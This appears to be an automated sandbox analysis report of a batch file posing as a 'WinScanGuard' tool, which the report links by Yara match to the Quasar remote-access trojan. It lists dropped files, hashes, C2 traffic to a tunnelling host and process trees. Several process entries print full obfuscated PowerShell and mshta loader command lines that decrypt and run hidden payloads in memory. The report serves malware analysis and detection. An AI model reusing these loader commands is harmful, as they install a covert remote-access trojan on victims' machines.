C:\Windows\$sxr-powershell.exe

Download File

Process:	C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	452608
Entropy (8bit):	5.459268466661775
Encrypted:	false
SSDEEP:	6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5:	04029E121A0CFA5991749937DD22A1D9
SHA1:	F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054
SHA-256:	9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F
SHA-512:	6A2FB055473033FD8FDB8868823442875B5B60C115031AAEDA688A35A092F6278E8687E2AE2B8DC097F8F3F35D23959757BF0C408274A2EF5F40DDFA4B5C851B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..%k.ovk.ovk.ovu..vi.ovb..va.ov..lwi.ov..kwq.ovk.nv.ov..nwn.ov..jwb.ov..bwb.ov..vj.ov..mwj.ovRichk.ov........................PE..d....A.~.........."..........^......@=.........@..........................................`.......... .......................................L...........}...p..........................T......................(..................`................................text............................... ..`.rdata.............................@..@.data...,....`.......L..............@....pdata.......p.......T..............@..@.rsrc....}.......~...^..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.466230233222637
Encrypted:	false
SSDEEP:	6144:2IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNIdwBCswSb3:7XD94+WlLZMM6YFHC+3
MD5:	E0CD6C1413187D844B701EBB6AAAD40E
SHA1:	978C74EEEC15F6503A9474973E2E1BA166E1589F
SHA-256:	D8B3F8F2DB986858DBA6C68B9D283B8D9AD1C6A132BC91331550D9D285625695
SHA-512:	B23AA18E770612D2E5E68D324C0362AEB05A901937C54A9231B112CAB98E63EC1E3E5084200EA04DCE090D39D2939DDD555713DD7D3CD7805FFE3F0A284359FC
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..!.&..............................................................................................................................................................................................................................................................................................................................................eb..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (4949), with CRLF line terminators
Entropy (8bit):	6.034933568775613
TrID:
File name:	WinScanGuard_v.2.1.bat
File size:	13'030'371 bytes
MD5:	1837a5f032a42228c0854fb83a8d12c8
SHA1:	de434e8479dfbc102ac30428b69199009973d788
SHA256:	13291c07421049ba4d39f521c3ae17923180ac5186d87952709c1fa775e39dd4
SHA512:	622431f44f0359bcc0cbe0bc4cf51dba6d6bb1b8ce3b2cf575ad4ddc256d19f62686df87d8a26a761c3aefd920e5dfd399e28008e12296808aa7970562402470
SSDEEP:	49152:uIKfaP4T0T7fSQYUwnEgLO3Grqx8MS/oGadv7tA5TPHFe7yq+Bg/KjyCy1HdnpGj:Y
TLSH:	E0D6CFCBA3E9700AB8DA1741C0C5D5A5E15000845D9781FB9EF0B396999F8BBD87BC3B
File Content Preview:	%NRDwNoMITDjScJrLHfdWcfCMBhRJAHkaLzgDIiAHJNfgnyKbncCmHpahPoufWDILQIHdboDWdWNPATWDWnUVEySUWylRoTiGFSPfpfAzZdHibKhvRpHhhlHRnkGcCjhKmGJfEqLqnUwYpirLPpAyLBXSLxpFXVxoxwwUABpZdPuLpgZFqvMKjiylhpTGAGRRXFbumWKNAYSwGLbcUkMbIkEMyImJgiYWxamjEgQTiyJKOCdUNojOrnJlBOwciB

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2023 16:55:43.520767927 CET	49736	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:55:43.850575924 CET	22112	49736	167.71.56.116	192.168.2.4
Dec 3, 2023 16:55:43.850892067 CET	49736	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:55:44.227205992 CET	49736	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:55:44.574769020 CET	22112	49736	167.71.56.116	192.168.2.4
Dec 3, 2023 16:55:47.649981976 CET	22112	49736	167.71.56.116	192.168.2.4
Dec 3, 2023 16:55:49.322227955 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:55:49.581300974 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:55:49.581397057 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:55:49.582201958 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:55:49.838464022 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:56:04.880826950 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:56:04.880949974 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:56:14.840202093 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:56:15.099138021 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:56:30.128767967 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:56:30.128885984 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:56:40.108650923 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:56:40.383013964 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:56:55.408804893 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:56:55.408994913 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:57:05.481062889 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:57:05.745306969 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:57:20.784871101 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:57:20.785048962 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:57:30.746467113 CET	49737	22112	192.168.2.4	167.71.56.116
Dec 3, 2023 16:57:31.006043911 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:57:46.032910109 CET	22112	49737	167.71.56.116	192.168.2.4
Dec 3, 2023 16:57:46.032975912 CET	49737	22112	192.168.2.4	167.71.56.116

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2023 16:55:43.338063002 CET	59651	53	192.168.2.4	1.1.1.1
Dec 3, 2023 16:55:43.500899076 CET	53	59651	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2023 16:55:43.338063002 CET	192.168.2.4	1.1.1.1	0xe5ed	Standard query (0)	throbbing-mountain-09011.pktriot.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2023 16:55:43.500899076 CET	1.1.1.1	192.168.2.4	0xe5ed	No error (0)	throbbing-mountain-09011.pktriot.net	eu-central-7075.packetriot.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2023 16:55:43.500899076 CET	1.1.1.1	192.168.2.4	0xe5ed	No error (0)	eu-central-7075.packetriot.net		167.71.56.116	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	16:55:02
Start date:	03/12/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\WinScanGuard_v.2.1.bat" "
Imagebase:	0x7ff7c3030000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:55:02
Start date:	03/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:55:10
Start date:	03/12/2023
Path:	C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe
Wow64 process (32bit):	false
Commandline:	"WinScanGuard_v.2.1.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function oLSgt($QHQwZ){ $FhDgh=[System.Security.Cryptography.Aes]::Create(); $FhDgh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FhDgh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FhDgh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ONJSi5FjJzv4AOEMBvugvr4ituUVmgVNRnjeJyrP0WQ='); $FhDgh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CLQNYwl0vsdfD4X+5YKrxQ=='); $SpFlB=$FhDgh.CreateDecryptor(); $return_var=$SpFlB.TransformFinalBlock($QHQwZ, 0, $QHQwZ.Length); $SpFlB.Dispose(); $FhDgh.Dispose(); $return_var;}function rnHmS($QHQwZ){ $WxVgK=New-Object System.IO.MemoryStream(,$QHQwZ); $bpCBe=New-Object System.IO.MemoryStream; $coUVU=New-Object System.IO.Compression.GZipStream($WxVgK, [IO.Compression.CompressionMode]::Decompress); $coUVU.CopyTo($bpCBe); $coUVU.Dispose(); $WxVgK.Dispose(); $bpCBe.Dispose(); $bpCBe.ToArray();}function ZAtIe($QHQwZ,$cjUqy){ $oSPmD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$QHQwZ); $xWTDt=$oSPmD.EntryPoint; $xWTDt.Invoke($null, $cjUqy);}$YlWDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\Desktop\WinScanGuard_v.2.1.bat').Split([Environment]::NewLine);foreach ($XUIQg in $YlWDR) { if ($XUIQg.StartsWith('SEROXEN')) { $sOgSv=$XUIQg.Substring(7); break; }}$ZErMU=[string[]]$sOgSv.Split('\');$tzgBc=rnHmS (oLSgt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZErMU[0])));$TtDxt=rnHmS (oLSgt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZErMU[1])));ZAtIe $TtDxt (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ZAtIe $tzgBc (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
Imagebase:	0x7ff60eaa0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000002.00000002.2138245203.0000020C8051D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000002.00000002.2138245203.0000020C81961000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:55:25
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{17980c38-011a-4e2a-a8da-a3b9e80db269}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:55:25
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{6ee5d1df-df32-414a-8053-43a03a04def5}
Imagebase:	0xf80000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:55:25
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7132 -s 144
Imagebase:	0xf20000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:55:30
Start date:	03/12/2023
Path:	C:\Windows\$sxr-mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bWTLJBKbogHiYUerhoAr4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
Imagebase:	0x7ff7142f0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	16:55:30
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{b60ad232-6d40-4822-9220-52a4d3050cb3}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:55:30
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{603825cb-58d6-4ab4-99a0-2fdb5cd309d6}
Imagebase:	0xf80000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:55:31
Start date:	03/12/2023
Path:	C:\Windows\$sxr-cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\$sxr-cmd.exe" /c %$sxr-bWTLJBKbogHiYUerhoAr4312:&#<?=%
Imagebase:	0x7ff6154f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	16:55:31
Start date:	03/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	16:55:31
Start date:	03/12/2023
Path:	C:\Windows\$sxr-powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqWX04//4DGnhGl+/sl+WZ0=');$iBFKh = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBFKh, 0, $iBFKh.Length);$iBFKh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iBFKh);$sRLEH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPfQRzZslsp7LUVLS08LhQ==');$sRLEH = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sRLEH, 0, $sRLEH.Length);$sRLEH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sRLEH);$sLsEZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bw6rZXASWFOFrL4CLrePaw==');$sLsEZ = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sLsEZ, 0, $sLsEZ.Length);$sLsEZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sLsEZ);$SPFoS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QYOQkrgRiSqCZw4PoX3ndQ==');$SPFoS = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($SPFoS, 0, $SPFoS.Length);$SPFoS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($SPFoS);$xCumf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SdFQ7WIJndJ4NA0XksAXZg==');$xCumf = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xCumf, 0, $xCumf.Length);$xCumf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xCumf);$WAkXF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AR4GvTa2A8uikK6+T2nKoQ==');$WAkXF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WAkXF, 0, $WAkXF.Length);$WAkXF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WAkXF);$tSRUF0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('L3o7gT8T96iY71qHMveksg==');$tSRUF0 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF0, 0, $tSRUF0.Length);$tSRUF0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF0);$tSRUF1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E8Y/0E3VS02vVNfuFqTGCw==');$tSRUF1 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF1, 0, $tSRUF1.Length);$tSRUF1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF1);$tSRUF2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3ob3sb5+Bgi0uwQxb9HNKg==');$tSRUF2 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF2, 0, $tSRUF2.Length);$tSRUF2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF2);$tSRUF3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E46YnTPfmALJD+Ie1fVvGQ==');$tSRUF3 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF3, 0, $tSRUF3.Length);$tSRUF3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF3);$GhtEl.Dispose();$HJBVM1.Dispose();if (@(get-process -ea silentlycontinue $tSRUF3).count -gt 1) {exit};$BcpNi = [Microsoft.Win32.Registry]::$xCumf.$SPFoS($tSRUF).$sLsEZ($tbgVF);$QCqEG=[string[]]$BcpNi.Split('\');$BPwjg=MiajR(ZXowG([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QCqEG[1])));DEttm $BPwjg (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$RLOOe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QCqEG[0]);$HJBVM = New-Object System.Security.Cryptography.AesManaged;$HJBVM.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$SHNYR = $HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')();$RLOOe = $SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RLOOe, 0, $RLOOe.Length);$SHNYR.Dispose();$HJBVM.Dispose();$VHZiJ = New-Object System.IO.MemoryStream(, $RLOOe);$MKYCr = New-Object System.IO.MemoryStream;$pphYy = New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::$tSRUF1);$pphYy.$WAkXF($MKYCr);$pphYy.Dispose();$VHZiJ.Dispose();$MKYCr.Dispose();$RLOOe = $MKYCr.ToArray();$jMAvT = $iBFKh \| IEX;$mZolj = $jMAvT::$tSRUF2($RLOOe);$lOFyP = $mZolj.EntryPoint;$lOFyP.$tSRUF0($null, (, [string[]] ($mjWsq)))
Imagebase:	0x7ff731020000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000012.00000002.2928056042.0000028528D41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Quasar_RAT_1, Description: Detects Quasar RAT, Source: 00000012.00000002.3104746555.0000028539051000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	16:55:38
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{d814285b-904f-4c3a-8cab-4579f96b72d9}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:55:38
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{f835588e-a1ef-4d6b-bc1e-b44ddb22d787}
Imagebase:	0xf80000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:55:41
Start date:	03/12/2023
Path:	C:\Windows\$sxr-powershell.exe
Wow64 process (32bit):	false
